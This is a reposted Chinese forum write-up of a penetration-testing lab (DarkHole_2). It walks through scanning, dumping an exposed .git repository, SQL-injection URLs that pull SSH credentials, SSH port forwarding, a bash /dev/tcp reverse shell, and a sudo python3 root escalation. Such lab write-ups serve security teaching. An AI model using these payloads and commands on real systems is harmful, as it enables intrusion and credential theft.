文章总结: 本文详细记录了DarkHole_2靶场渗透测试全过程,涉及信息收集、.git文件泄露利用、SQL注入获取凭据、SSH登录、端口转发和sudo提权等技术环节。通过nmap扫描发现靶机服务,利用git-dumper获取源码并分析提交记录发现数据库凭证,成功登录后通过联合查询注入获取SSH账号密码,最后利用Python权限提升获得root权限。 综合评分: 81 文章分类: 渗透测试,漏洞分析,内网渗透,WEB安全,实战经验
渗透测试练习——DarkHole_2靶场实践:涉及对.git文件的处理,sql注入及利用sudo提权
n_pc n_pc
看雪学苑
2026年4月16日 17:59 上海
在小说阅读器读本章
去阅读
DarkHole_2通关思路
1.启动靶机
2.开启 kali 的 nmap 进行扫描,确定靶机 ip
namp -sn 192.168.5.0/24
3.扫描靶机开放的端口和服务
nmap -sV 192.168.5.241 //-sV 为扫描端口运行服务的版本信息
4.根据扫描结果确定开放了 80 和 22 端口,然后访问一下 80 端口
5.扫描网站指纹,没有看到有价值的信息
whatweb 192.168.5.241
6.扫描目录
dirsearch http://192.168.5.241,可以看到有一个.git 目录
7.对.git目录进行操作
下载git-dump脚本,将源代码拔下来,我直接下载并放在kali上进行解压
tar -zxvf git-dumper-1.0.8.tar.gz
z表示使用gzip进行解压,适用于.tar.gz或.tgz类型的压缩文件
x表示从归档文件中提取文件,及解压
v表示显示详细过程
f指定要解压的文件名
执行脚本
pip install -r requirements.txt
sudo ./git_dumper.py http://192.168.5.241/.git hackgit
cd hackgit
可以看到扒下来的源代码,每一个都可以点进去看一看
利用git log命令可以查看日志
加密的地方为进行的具体操作,可以通过git diff命令进行查看
可以看到第二个加密内容里出现了sql语句,是登录的具体信息,可以得到账号和密码,[email protected]/321
8.得到密码之后登录
注意到id=1,可能存在注入
先判断数字型合适字符型,输入1=1和1=2返回一样,说明不是数字型,确定闭合是单引号还是双引号,结果为单引号。
因为应用程序大多数情况只会返回sql语句第一次查询的数据,所以让前面为false,回显我们需要的第二段查询的数据,使用
http://192.168.5.241/dashboard.php?id=-1' union select 1,database(),version(),4,@@datadir,@@basedir --+
http://192.168.5.241/dashboard.php?id=-1%27%20union%20select%201,database(),version(),4,group_concat(table_name),@@basedir%20from%20information_schema.tables%20where%20table_schema=database()%20--+
group_concat会查询所有能查到的数据并组合成一个字符串,也可以利用limit 2,1来一个一个查询。
继续查列名
http://192.168.5.241/dashboard.php?id=-1%27%20union%20select%201,database(),version(),4,group_concat(column_name),@@basedir%20from%20information_schema.columns%20where%20table_name=%27ssh%27--+
查询user列和pass列
http://192.168.5.241/dashboard.php?id=-1%27%20union%20select%201,2,3,4,group_concat(user,%27|%27,pass),@@basedir%20from%20ssh--+
9.拿到账密登录ssh
ssh [email protected]
10.进行信息收集
查看计划任务,发现有一个跟losy账户相关的计划任务
cat /etc/crontab
查看历史执行的命令,发现htttp://127.0.0.1:9999可以执行命令
cat .bash_history
查看端口开放情况,发现确实有9999端口运行着某个服务
这里虽然开着9999端口,但是并不能访问,需要用到ssh端口转发功能,关于ssh端口转发的详细知识点可以查看 https://zhuanlan.zhihu.com/p/148825449
11.kail新开一个窗口,配置ssh端口转发,并借此反弹交互式shell
将靶机的9999端口转发到kali的9999端口,冒号前面的9999代表kali的端口
ssh -L 9999:127.0.0.1:9999 [email protected]
kaili开启监听4444端口,利用靶机访问之前通过查询历史命令得到的url,执行命令弹shell到kali
curl http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.5.235%2f4444+0%3e%261%27
kali成功接收到losy用户的shell
查询.bash_history得到losy用户的密码
新开一个窗口通过ssh登录losy,然后通过sudo -l查询可以通过sudo执行的命令,发现python3
12.通过python3反弹一个shell到kali,得到root权限的shell,查询/root/root.txt得到flag,结束
sudo /usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
#
看雪ID:n_pc
https://bbs.kanxue.com/user-home-1014165.htm
*本文为看雪论坛优秀文章,由 n_pc 原创,转载请注明来自看雪社区
往期推荐
无声的提权:Windows攻击链中的进程伪装与UAC绕过
ivanti CVE-2025-0282 漏洞复现
Linux arm64 内核Hook实现与校验绕过
Polaris-Obfuscator中AliasAccess简要分析-反混淆
D-Link 摄像头栈溢出漏洞复现
球分享
球点赞
球在看
点击阅读原文查看更多
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:看雪学苑 npc npc《渗透测试练习——DarkHole_2靶场实践:涉及对.git文件的处理,sql注入及利用sudo提权》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论